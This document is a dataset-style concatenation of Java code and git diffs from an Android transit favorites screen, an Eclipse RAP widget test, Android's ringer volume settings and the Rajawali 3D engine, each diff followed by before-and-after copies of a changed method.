SubwayUtils.getSubwayLineImgId(otherLinesId.get(1).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_2)).setImageResource(subwayLineImg2); if (otherLinesId.size() > 2) { int subwayLineImg3 = SubwayUtils .getSubwayLineImgId(otherLinesId.get(2).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_3)).setImageResource(subwayLineImg3); } else { view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_1).setVisibility(View.GONE); view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } // add click listener view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { MyLog.v(TAG, "onClick(%s)", v.getId()); Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); } }); // add context menu view.setOnLongClickListener(new View.OnLongClickListener() { @Override public boolean onLongClick(View v) { MyLog.v(TAG, "onLongClick(%s)", v.getId()); AlertDialog.Builder builder = new AlertDialog.Builder(FavListTab.this); builder.setTitle(getString(R.string.subway_station_with_name_short, station.getName())); CharSequence[] items = { getString(R.string.view_subway_station), getString(R.string.remove_fav) }; builder.setItems(items, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int item) { MyLog.v(TAG, "onClick(%s)", item); switch (item) { case VIEW_CONTEXT_MENU_INDEX: Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); break; case DELETE_CONTEXT_MENU_INDEX: // find the favorite to delete Fav findFav = DataManager.findFav(FavListTab.this.getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION, station.getId(), null); // delete the favorite /* boolean status = */ DataManager.deleteFav(FavListTab.this.getContentResolver(), findFav.getId()); // MyLog.d(TAG, "delete fav: " + status); // refresh the UI FavListTab.this.currentSubwayStationFavList = null; refreshSubwayStations(); break; default: break; } } }); AlertDialog alert = builder.create(); alert.show(); return true; } }); this.subwayStationsLayout.addView(view); } else { MyLog.w(TAG, "Can't find the favorite subway station (ID:%s)", subwayFav.getFkId()); } } } else { // show the noFav message TextView noFavTv = new TextView(this); noFavTv.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)); noFavTv.setTextAppearance(this, android.R.attr.textAppearanceMedium); noFavTv.setText(R.string.no_fav_subway_station_message); this.subwayStationsLayout.addView(noFavTv); } } }
diff --git a/tests/org.eclipse.rap.rwt.test/src/org/eclipse/swt/widgets/Widget_Test.java b/tests/org.eclipse.rap.rwt.test/src/org/eclipse/swt/widgets/Widget_Test.java index 880c219e2..4e4254fc8 100644 --- a/tests/org.eclipse.rap.rwt.test/src/org/eclipse/swt/widgets/Widget_Test.java +++ b/tests/org.eclipse.rap.rwt.test/src/org/eclipse/swt/widgets/Widget_Test.java @@ -1,104 +1,104 @@ /******************************************************************************* * Copyright (c) 2002-2006 Innoopract Informationssysteme GmbH. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Innoopract Informationssysteme GmbH - initial API and implementation ******************************************************************************/ package org.eclipse.swt.widgets; import junit.framework.TestCase; import org.eclipse.swt.*; import com.w4t.Fixture; public class Widget_Test extends TestCase { protected void setUp() throws Exception { Fixture.setUp(); RWTFixture.fakeUIThread(); } protected void tearDown() throws Exception { RWTFixture.removeUIThread(); Fixture.tearDown(); } public void testCheckWidget() throws InterruptedException { Display display = new Display(); Shell shell = new Shell( display, SWT.NONE ); final Widget widget = new Text( shell, SWT.NONE ); final Throwable[] throwable = new Throwable[ 1 ]; final String[] message = new String[ 1 ]; Thread thread = new Thread( new Runnable() { public void run() { try { widget.checkWidget(); fail( "Illegal thread access expected." ); } catch( final SWTException swte ) { message[ 0 ] = swte.getMessage(); } catch( final Throwable thr ) { throwable[ 0 ] = thr; } } }); thread.start(); thread.join(); assertEquals( message[ 0 ], "Invalid thread access" ); assertNull( throwable[ 0 ] ); } public void testData() { Display display = new Display(); Shell shell = new Shell( display, SWT.NONE ); Widget widget = new Text( shell, SWT.NONE ); // Test initial state assertEquals( null, widget.getData() ); Object singleData = new Object(); // Set/get some single data widget.setData( singleData ); assertSame( singleData, widget.getData() ); - // Set/get some keyed data, ensure that single datat remains unchanged + // Set/get some keyed data, ensure that single data remains unchanged Object keyedData = new Object(); widget.setData( "key", keyedData ); widget.setData( "null-key", null ); assertSame( singleData, widget.getData() ); assertSame( keyedData, widget.getData( "key" ) ); assertSame( null, widget.getData( "null-key" ) ); // Test keyed data with illegal arguments try { widget.setData( null, new Object() ); fail( "Must not allow to set data with null key" ); } catch( NullPointerException e ) { // expected } try { widget.getData( null ); fail( "Must not allow to get data for null key" ); } catch( NullPointerException e ) { // expected } } public void testCheckBits() { int style = SWT.VERTICAL | SWT.HORIZONTAL; int result = Widget.checkBits( style, SWT.VERTICAL, SWT.HORIZONTAL, 0, 0, 0, 0 ); assertTrue( ( result & SWT.VERTICAL ) != 0 ); assertFalse( ( result & SWT.HORIZONTAL ) != 0 ); } }
true
true
public void testData() { Display display = new Display(); Shell shell = new Shell( display, SWT.NONE ); Widget widget = new Text( shell, SWT.NONE ); // Test initial state assertEquals( null, widget.getData() ); Object singleData = new Object(); // Set/get some single data widget.setData( singleData ); assertSame( singleData, widget.getData() ); // Set/get some keyed data, ensure that single datat remains unchanged Object keyedData = new Object(); widget.setData( "key", keyedData ); widget.setData( "null-key", null ); assertSame( singleData, widget.getData() ); assertSame( keyedData, widget.getData( "key" ) ); assertSame( null, widget.getData( "null-key" ) ); // Test keyed data with illegal arguments try { widget.setData( null, new Object() ); fail( "Must not allow to set data with null key" ); } catch( NullPointerException e ) { // expected } try { widget.getData( null ); fail( "Must not allow to get data for null key" ); } catch( NullPointerException e ) { // expected } }
public void testData() { Display display = new Display(); Shell shell = new Shell( display, SWT.NONE ); Widget widget = new Text( shell, SWT.NONE ); // Test initial state assertEquals( null, widget.getData() ); Object singleData = new Object(); // Set/get some single data widget.setData( singleData ); assertSame( singleData, widget.getData() ); // Set/get some keyed data, ensure that single data remains unchanged Object keyedData = new Object(); widget.setData( "key", keyedData ); widget.setData( "null-key", null ); assertSame( singleData, widget.getData() ); assertSame( keyedData, widget.getData( "key" ) ); assertSame( null, widget.getData( "null-key" ) ); // Test keyed data with illegal arguments try { widget.setData( null, new Object() ); fail( "Must not allow to set data with null key" ); } catch( NullPointerException e ) { // expected } try { widget.getData( null ); fail( "Must not allow to get data for null key" ); } catch( NullPointerException e ) { // expected } }
diff --git a/src/com/android/settings/RingerVolumePreference.java b/src/com/android/settings/RingerVolumePreference.java index 0dd1e890c..e05933752 100644 --- a/src/com/android/settings/RingerVolumePreference.java +++ b/src/com/android/settings/RingerVolumePreference.java @@ -1,454 +1,454 @@ /* * Copyright (C) 2008 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.settings; import static android.os.BatteryManager.BATTERY_STATUS_UNKNOWN; import com.android.internal.telephony.TelephonyIntents; import android.app.Dialog; import android.content.BroadcastReceiver; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.media.AudioManager; import android.media.AudioSystem; import android.net.Uri; import android.os.Handler; import android.os.Looper; import android.os.Message; import android.os.Parcel; import android.os.Parcelable; import android.preference.VolumePreference; import android.provider.Settings; import android.provider.Settings.System; import android.util.AttributeSet; import android.util.Log; import android.view.KeyEvent; import android.view.View; import android.view.View.OnClickListener; import android.widget.CheckBox; import android.widget.CompoundButton; import android.widget.ImageView; import android.widget.SeekBar; import android.widget.TextView; /** * Special preference type that allows configuration of both the ring volume and * notification volume. */ public class RingerVolumePreference extends VolumePreference { private static final String TAG = "RingerVolumePreference"; private static final int MSG_RINGER_MODE_CHANGED = 101; private SeekBarVolumizer [] mSeekBarVolumizer; // These arrays must all match in length and order private static final int[] SEEKBAR_ID = new int[] { R.id.media_volume_seekbar, R.id.ringer_volume_seekbar, R.id.notification_volume_seekbar, R.id.alarm_volume_seekbar }; private static final int[] SEEKBAR_TYPE = new int[] { AudioManager.STREAM_MUSIC, AudioManager.STREAM_RING, AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_ALARM }; private static final int[] CHECKBOX_VIEW_ID = new int[] { R.id.media_mute_button, R.id.ringer_mute_button, R.id.notification_mute_button, R.id.alarm_mute_button }; private static final int[] SEEKBAR_MUTED_RES_ID = new int[] { com.android.internal.R.drawable.ic_audio_vol_mute, com.android.internal.R.drawable.ic_audio_ring_notif_mute, com.android.internal.R.drawable.ic_audio_notification_mute, com.android.internal.R.drawable.ic_audio_alarm_mute }; private static final int[] SEEKBAR_UNMUTED_RES_ID = new int[] { com.android.internal.R.drawable.ic_audio_vol, com.android.internal.R.drawable.ic_audio_ring_notif, com.android.internal.R.drawable.ic_audio_notification, com.android.internal.R.drawable.ic_audio_alarm }; private ImageView[] mCheckBoxes = new ImageView[SEEKBAR_MUTED_RES_ID.length]; private SeekBar[] mSeekBars = new SeekBar[SEEKBAR_ID.length]; private Handler mHandler = new Handler() { public void handleMessage(Message msg) { updateSlidersAndMutedStates(); } }; @Override public void createActionButtons() { setPositiveButtonText(android.R.string.ok); setNegativeButtonText(null); } private void updateSlidersAndMutedStates() { for (int i = 0; i < SEEKBAR_TYPE.length; i++) { int streamType = SEEKBAR_TYPE[i]; boolean muted = mAudioManager.isStreamMute(streamType); if (mCheckBoxes[i] != null) { if (streamType == AudioManager.STREAM_RING && (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE)) { mCheckBoxes[i].setImageResource( com.android.internal.R.drawable.ic_audio_ring_notif_vibrate); } else { mCheckBoxes[i].setImageResource( muted ? SEEKBAR_MUTED_RES_ID[i] : SEEKBAR_UNMUTED_RES_ID[i]); } } if (mSeekBars[i] != null) { final int volume = mAudioManager.getStreamVolume(streamType); mSeekBars[i].setProgress(volume); if (streamType != mAudioManager.getMasterStreamType() && muted) { mSeekBars[i].setEnabled(false); } else { mSeekBars[i].setEnabled(true); } } } } private BroadcastReceiver mRingModeChangedReceiver; private AudioManager mAudioManager; //private SeekBarVolumizer mNotificationSeekBarVolumizer; //private TextView mNotificationVolumeTitle; public RingerVolumePreference(Context context, AttributeSet attrs) { super(context, attrs); // The always visible seekbar is for ring volume setStreamType(AudioManager.STREAM_RING); setDialogLayoutResource(R.layout.preference_dialog_ringervolume); //setDialogIcon(R.drawable.ic_settings_sound); mSeekBarVolumizer = new SeekBarVolumizer[SEEKBAR_ID.length]; mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); } private static int getCurrentMutableStreams(Context c) { final int defaultMuteStreams = ((1 << AudioSystem.STREAM_RING)|(1 << AudioSystem.STREAM_NOTIFICATION)| (1 << AudioSystem.STREAM_SYSTEM)|(1 << AudioSystem.STREAM_SYSTEM_ENFORCED)); return Settings.System.getInt(c.getContentResolver(), Settings.System.MODE_RINGER_STREAMS_AFFECTED, defaultMuteStreams); } @Override protected void onBindDialogView(View view) { super.onBindDialogView(view); for (int i = 0; i < SEEKBAR_ID.length; i++) { SeekBar seekBar = (SeekBar) view.findViewById(SEEKBAR_ID[i]); mSeekBars[i] = seekBar; if (SEEKBAR_TYPE[i] == AudioManager.STREAM_MUSIC) { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i], getMediaVolumeUri(getContext())); } else { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i]); } } // Register callbacks for mute/unmute buttons for (int i = 0; i < mCheckBoxes.length; i++) { ImageView checkbox = (ImageView) view.findViewById(CHECKBOX_VIEW_ID[i]); mCheckBoxes[i] = checkbox; } final CheckBox linkCheckBox = (CheckBox) view.findViewById(R.id.link_ring_and_volume); final CheckBox linkMuteStates = (CheckBox) view.findViewById(R.id.link_mutes); final CheckBox volumeKeysControlRingStream = (CheckBox) view.findViewById(R.id.volume_keys_control_ring_stream); final View ringerSection = view.findViewById(R.id.ringer_section); final View notificationSection = view.findViewById(R.id.notification_section); final View linkVolumesSection = view.findViewById(R.id.link_volumes_section); final TextView ringerDesc = (TextView) ringerSection .findViewById(R.id.ringer_description_text); if (Utils.isVoiceCapable(getContext())) { if ((getCurrentMutableStreams(getContext()) & (1 << AudioSystem.STREAM_NOTIFICATION)) != 0) { linkMuteStates.setChecked(true); } else { linkMuteStates.setChecked(false); } linkMuteStates.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { int mutedStreams = getCurrentMutableStreams(getContext()); if (isChecked) { mutedStreams |= (1 << AudioSystem.STREAM_NOTIFICATION); } else { mutedStreams &= ~(1 << AudioSystem.STREAM_NOTIFICATION); } Settings.System .putInt(buttonView.getContext().getContentResolver(), Settings.System.MODE_RINGER_STREAMS_AFFECTED, mutedStreams); } }); if (System.getInt(getContext().getContentResolver(), System.VOLUME_LINK_NOTIFICATION, 1) == 1) { linkCheckBox.setChecked(true); notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); } else { linkCheckBox.setChecked(false); notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); } linkCheckBox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); final int volume = mAudioManager.getStreamVolume(AudioSystem.STREAM_RING); mAudioManager.setStreamVolume(AudioSystem.STREAM_NOTIFICATION, volume, 0); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 1); } else { notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 0); } updateSlidersAndMutedStates(); } }); - if (System.getInt(getContext().getContentResolver(), - System.VOLUME_KEYS_CONTROL_RING_STREAM, 1) == 1) { + if (System.getInt(getContext().getContentResolver(), + System.VOLUME_KEYS_CONTROL_RING_STREAM, 1) == 1) { volumeKeysControlRingStream.setChecked(true); } else { volumeKeysControlRingStream.setChecked(false); } volumeKeysControlRingStream.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_KEYS_CONTROL_RING_STREAM, isChecked ? 1 : 0); } }); } else { ringerSection.setVisibility(View.GONE); linkVolumesSection.setVisibility(View.GONE); } // Load initial states from AudioManager updateSlidersAndMutedStates(); // Listen for updates from AudioManager if (mRingModeChangedReceiver == null) { final IntentFilter filter = new IntentFilter(); filter.addAction(AudioManager.RINGER_MODE_CHANGED_ACTION); mRingModeChangedReceiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { final String action = intent.getAction(); if (AudioManager.RINGER_MODE_CHANGED_ACTION.equals(action)) { mHandler.sendMessage(mHandler.obtainMessage(MSG_RINGER_MODE_CHANGED, intent .getIntExtra(AudioManager.EXTRA_RINGER_MODE, -1), 0)); } } }; getContext().registerReceiver(mRingModeChangedReceiver, filter); } } private Uri getMediaVolumeUri(Context context) { return Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://" + context.getPackageName() + "/" + R.raw.media_volume); } @Override protected void onDialogClosed(boolean positiveResult) { super.onDialogClosed(positiveResult); if (!positiveResult) { for (SeekBarVolumizer vol : mSeekBarVolumizer) { if (vol != null) vol.revertVolume(); } } cleanup(); } @Override public void onActivityStop() { super.onActivityStop(); for (SeekBarVolumizer vol : mSeekBarVolumizer) { if (vol != null) vol.stopSample(); } } @Override public boolean onKey(View v, int keyCode, KeyEvent event) { boolean isdown = (event.getAction() == KeyEvent.ACTION_DOWN); switch (keyCode) { case KeyEvent.KEYCODE_VOLUME_DOWN: case KeyEvent.KEYCODE_VOLUME_UP: case KeyEvent.KEYCODE_VOLUME_MUTE: return true; default: return false; } } @Override protected void onSampleStarting(SeekBarVolumizer volumizer) { super.onSampleStarting(volumizer); for (SeekBarVolumizer vol : mSeekBarVolumizer) { if (vol != null && vol != volumizer) vol.stopSample(); } } private void cleanup() { for (int i = 0; i < SEEKBAR_ID.length; i++) { if (mSeekBarVolumizer[i] != null) { Dialog dialog = getDialog(); if (dialog != null && dialog.isShowing()) { // Stopped while dialog was showing, revert changes mSeekBarVolumizer[i].revertVolume(); } mSeekBarVolumizer[i].stop(); mSeekBarVolumizer[i] = null; } } if (mRingModeChangedReceiver != null) { getContext().unregisterReceiver(mRingModeChangedReceiver); mRingModeChangedReceiver = null; } } @Override protected Parcelable onSaveInstanceState() { final Parcelable superState = super.onSaveInstanceState(); if (isPersistent()) { // No need to save instance state since it's persistent return superState; } final SavedState myState = new SavedState(superState); VolumeStore[] volumeStore = myState.getVolumeStore(SEEKBAR_ID.length); for (int i = 0; i < SEEKBAR_ID.length; i++) { SeekBarVolumizer vol = mSeekBarVolumizer[i]; if (vol != null) { vol.onSaveInstanceState(volumeStore[i]); } } return myState; } @Override protected void onRestoreInstanceState(Parcelable state) { if (state == null || !state.getClass().equals(SavedState.class)) { // Didn't save state for us in onSaveInstanceState super.onRestoreInstanceState(state); return; } SavedState myState = (SavedState) state; super.onRestoreInstanceState(myState.getSuperState()); VolumeStore[] volumeStore = myState.getVolumeStore(SEEKBAR_ID.length); for (int i = 0; i < SEEKBAR_ID.length; i++) { SeekBarVolumizer vol = mSeekBarVolumizer[i]; if (vol != null) { vol.onRestoreInstanceState(volumeStore[i]); } } } private static class SavedState extends BaseSavedState { VolumeStore [] mVolumeStore; public SavedState(Parcel source) { super(source); mVolumeStore = new VolumeStore[SEEKBAR_ID.length]; for (int i = 0; i < SEEKBAR_ID.length; i++) { mVolumeStore[i] = new VolumeStore(); mVolumeStore[i].volume = source.readInt(); mVolumeStore[i].originalVolume = source.readInt(); } } @Override public void writeToParcel(Parcel dest, int flags) { super.writeToParcel(dest, flags); for (int i = 0; i < SEEKBAR_ID.length; i++) { dest.writeInt(mVolumeStore[i].volume); dest.writeInt(mVolumeStore[i].originalVolume); } } VolumeStore[] getVolumeStore(int count) { if (mVolumeStore == null || mVolumeStore.length != count) { mVolumeStore = new VolumeStore[count]; for (int i = 0; i < count; i++) { mVolumeStore[i] = new VolumeStore(); } } return mVolumeStore; } public SavedState(Parcelable superState) { super(superState); } public static final Parcelable.Creator<SavedState> CREATOR = new Parcelable.Creator<SavedState>() { public SavedState createFromParcel(Parcel in) { return new SavedState(in); } public SavedState[] newArray(int size) { return new SavedState[size]; } }; } }
true
true
protected void onBindDialogView(View view) { super.onBindDialogView(view); for (int i = 0; i < SEEKBAR_ID.length; i++) { SeekBar seekBar = (SeekBar) view.findViewById(SEEKBAR_ID[i]); mSeekBars[i] = seekBar; if (SEEKBAR_TYPE[i] == AudioManager.STREAM_MUSIC) { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i], getMediaVolumeUri(getContext())); } else { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i]); } } // Register callbacks for mute/unmute buttons for (int i = 0; i < mCheckBoxes.length; i++) { ImageView checkbox = (ImageView) view.findViewById(CHECKBOX_VIEW_ID[i]); mCheckBoxes[i] = checkbox; } final CheckBox linkCheckBox = (CheckBox) view.findViewById(R.id.link_ring_and_volume); final CheckBox linkMuteStates = (CheckBox) view.findViewById(R.id.link_mutes); final CheckBox volumeKeysControlRingStream = (CheckBox) view.findViewById(R.id.volume_keys_control_ring_stream); final View ringerSection = view.findViewById(R.id.ringer_section); final View notificationSection = view.findViewById(R.id.notification_section); final View linkVolumesSection = view.findViewById(R.id.link_volumes_section); final TextView ringerDesc = (TextView) ringerSection .findViewById(R.id.ringer_description_text); if (Utils.isVoiceCapable(getContext())) { if ((getCurrentMutableStreams(getContext()) & (1 << AudioSystem.STREAM_NOTIFICATION)) != 0) { linkMuteStates.setChecked(true); } else { linkMuteStates.setChecked(false); } linkMuteStates.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { int mutedStreams = getCurrentMutableStreams(getContext()); if (isChecked) { mutedStreams |= (1 << AudioSystem.STREAM_NOTIFICATION); } else { mutedStreams &= ~(1 << AudioSystem.STREAM_NOTIFICATION); } Settings.System .putInt(buttonView.getContext().getContentResolver(), Settings.System.MODE_RINGER_STREAMS_AFFECTED, mutedStreams); } }); if (System.getInt(getContext().getContentResolver(), System.VOLUME_LINK_NOTIFICATION, 1) == 1) { linkCheckBox.setChecked(true); notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); } else { linkCheckBox.setChecked(false); notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); } linkCheckBox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); final int volume = mAudioManager.getStreamVolume(AudioSystem.STREAM_RING); mAudioManager.setStreamVolume(AudioSystem.STREAM_NOTIFICATION, volume, 0); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 1); } else { notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 0); } updateSlidersAndMutedStates(); } }); if (System.getInt(getContext().getContentResolver(), System.VOLUME_KEYS_CONTROL_RING_STREAM, 1) == 1) { volumeKeysControlRingStream.setChecked(true); } else { volumeKeysControlRingStream.setChecked(false); } volumeKeysControlRingStream.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_KEYS_CONTROL_RING_STREAM, isChecked ? 1 : 0); } }); } else { ringerSection.setVisibility(View.GONE); linkVolumesSection.setVisibility(View.GONE); } // Load initial states from AudioManager updateSlidersAndMutedStates(); // Listen for updates from AudioManager if (mRingModeChangedReceiver == null) { final IntentFilter filter = new IntentFilter(); filter.addAction(AudioManager.RINGER_MODE_CHANGED_ACTION); mRingModeChangedReceiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { final String action = intent.getAction(); if (AudioManager.RINGER_MODE_CHANGED_ACTION.equals(action)) { mHandler.sendMessage(mHandler.obtainMessage(MSG_RINGER_MODE_CHANGED, intent .getIntExtra(AudioManager.EXTRA_RINGER_MODE, -1), 0)); } } }; getContext().registerReceiver(mRingModeChangedReceiver, filter); } }
protected void onBindDialogView(View view) { super.onBindDialogView(view); for (int i = 0; i < SEEKBAR_ID.length; i++) { SeekBar seekBar = (SeekBar) view.findViewById(SEEKBAR_ID[i]); mSeekBars[i] = seekBar; if (SEEKBAR_TYPE[i] == AudioManager.STREAM_MUSIC) { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i], getMediaVolumeUri(getContext())); } else { mSeekBarVolumizer[i] = new SeekBarVolumizer(getContext(), seekBar, SEEKBAR_TYPE[i]); } } // Register callbacks for mute/unmute buttons for (int i = 0; i < mCheckBoxes.length; i++) { ImageView checkbox = (ImageView) view.findViewById(CHECKBOX_VIEW_ID[i]); mCheckBoxes[i] = checkbox; } final CheckBox linkCheckBox = (CheckBox) view.findViewById(R.id.link_ring_and_volume); final CheckBox linkMuteStates = (CheckBox) view.findViewById(R.id.link_mutes); final CheckBox volumeKeysControlRingStream = (CheckBox) view.findViewById(R.id.volume_keys_control_ring_stream); final View ringerSection = view.findViewById(R.id.ringer_section); final View notificationSection = view.findViewById(R.id.notification_section); final View linkVolumesSection = view.findViewById(R.id.link_volumes_section); final TextView ringerDesc = (TextView) ringerSection .findViewById(R.id.ringer_description_text); if (Utils.isVoiceCapable(getContext())) { if ((getCurrentMutableStreams(getContext()) & (1 << AudioSystem.STREAM_NOTIFICATION)) != 0) { linkMuteStates.setChecked(true); } else { linkMuteStates.setChecked(false); } linkMuteStates.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { int mutedStreams = getCurrentMutableStreams(getContext()); if (isChecked) { mutedStreams |= (1 << AudioSystem.STREAM_NOTIFICATION); } else { mutedStreams &= ~(1 << AudioSystem.STREAM_NOTIFICATION); } Settings.System .putInt(buttonView.getContext().getContentResolver(), Settings.System.MODE_RINGER_STREAMS_AFFECTED, mutedStreams); } }); if (System.getInt(getContext().getContentResolver(), System.VOLUME_LINK_NOTIFICATION, 1) == 1) { linkCheckBox.setChecked(true); notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); } else { linkCheckBox.setChecked(false); notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); } linkCheckBox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { notificationSection.setVisibility(View.GONE); ringerDesc.setText(R.string.volume_ring_description); linkMuteStates.setEnabled(false); final int volume = mAudioManager.getStreamVolume(AudioSystem.STREAM_RING); mAudioManager.setStreamVolume(AudioSystem.STREAM_NOTIFICATION, volume, 0); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 1); } else { notificationSection.setVisibility(View.VISIBLE); ringerDesc.setText(R.string.volume_ring_only_description); linkMuteStates.setEnabled(true); Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_LINK_NOTIFICATION, 0); } updateSlidersAndMutedStates(); } }); if (System.getInt(getContext().getContentResolver(), System.VOLUME_KEYS_CONTROL_RING_STREAM, 1) == 1) { volumeKeysControlRingStream.setChecked(true); } else { volumeKeysControlRingStream.setChecked(false); } volumeKeysControlRingStream.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { Settings.System.putInt(buttonView.getContext().getContentResolver(), Settings.System.VOLUME_KEYS_CONTROL_RING_STREAM, isChecked ? 1 : 0); } }); } else { ringerSection.setVisibility(View.GONE); linkVolumesSection.setVisibility(View.GONE); } // Load initial states from AudioManager updateSlidersAndMutedStates(); // Listen for updates from AudioManager if (mRingModeChangedReceiver == null) { final IntentFilter filter = new IntentFilter(); filter.addAction(AudioManager.RINGER_MODE_CHANGED_ACTION); mRingModeChangedReceiver = new BroadcastReceiver() { public void onReceive(Context context, Intent intent) { final String action = intent.getAction(); if (AudioManager.RINGER_MODE_CHANGED_ACTION.equals(action)) { mHandler.sendMessage(mHandler.obtainMessage(MSG_RINGER_MODE_CHANGED, intent .getIntExtra(AudioManager.EXTRA_RINGER_MODE, -1), 0)); } } }; getContext().registerReceiver(mRingModeChangedReceiver, filter); } }
diff --git a/src/rajawali/BaseObject3D.java b/src/rajawali/BaseObject3D.java index 7b304059..f141d359 100644 --- a/src/rajawali/BaseObject3D.java +++ b/src/rajawali/BaseObject3D.java @@ -1,817 +1,820 @@ package rajawali; import java.nio.IntBuffer; import java.nio.ShortBuffer; import java.util.ArrayList; import java.util.Stack; import rajawali.bounds.BoundingBox; import rajawali.lights.ALight; import rajawali.materials.AMaterial; import rajawali.materials.ColorPickerMaterial; import rajawali.materials.TextureInfo; import rajawali.materials.TextureManager.TextureType; import rajawali.math.Number3D; import rajawali.util.ObjectColorPicker.ColorPickerInfo; import rajawali.util.RajLog; import rajawali.visitors.INode; import rajawali.visitors.INodeVisitor; import android.graphics.Color; import android.opengl.GLES20; import android.opengl.GLU; import android.opengl.Matrix; /** * This is the main object that all other 3D objects inherit from. * * @author dennis.ippel * */ public class BaseObject3D extends ATransformable3D implements Comparable<BaseObject3D>, INode { protected float[] mMVPMatrix = new float[16]; protected float[] mMMatrix = new float[16]; protected float[] mProjMatrix; protected float[] mScalematrix = new float[16]; protected float[] mTranslateMatrix = new float[16]; protected float[] mRotateMatrix = new float[16]; protected float[] mRotateMatrixTmp = new float[16]; protected float[] mTmpMatrix = new float[16]; protected AMaterial mMaterial; protected Stack<ALight> mLights; protected Geometry3D mGeometry; protected ArrayList<BaseObject3D> mChildren; protected String mName; protected boolean mDoubleSided = false; protected boolean mBackSided = false; protected boolean mTransparent = false; protected boolean mForcedDepth = false; protected boolean mHasCubemapTexture = false; protected boolean 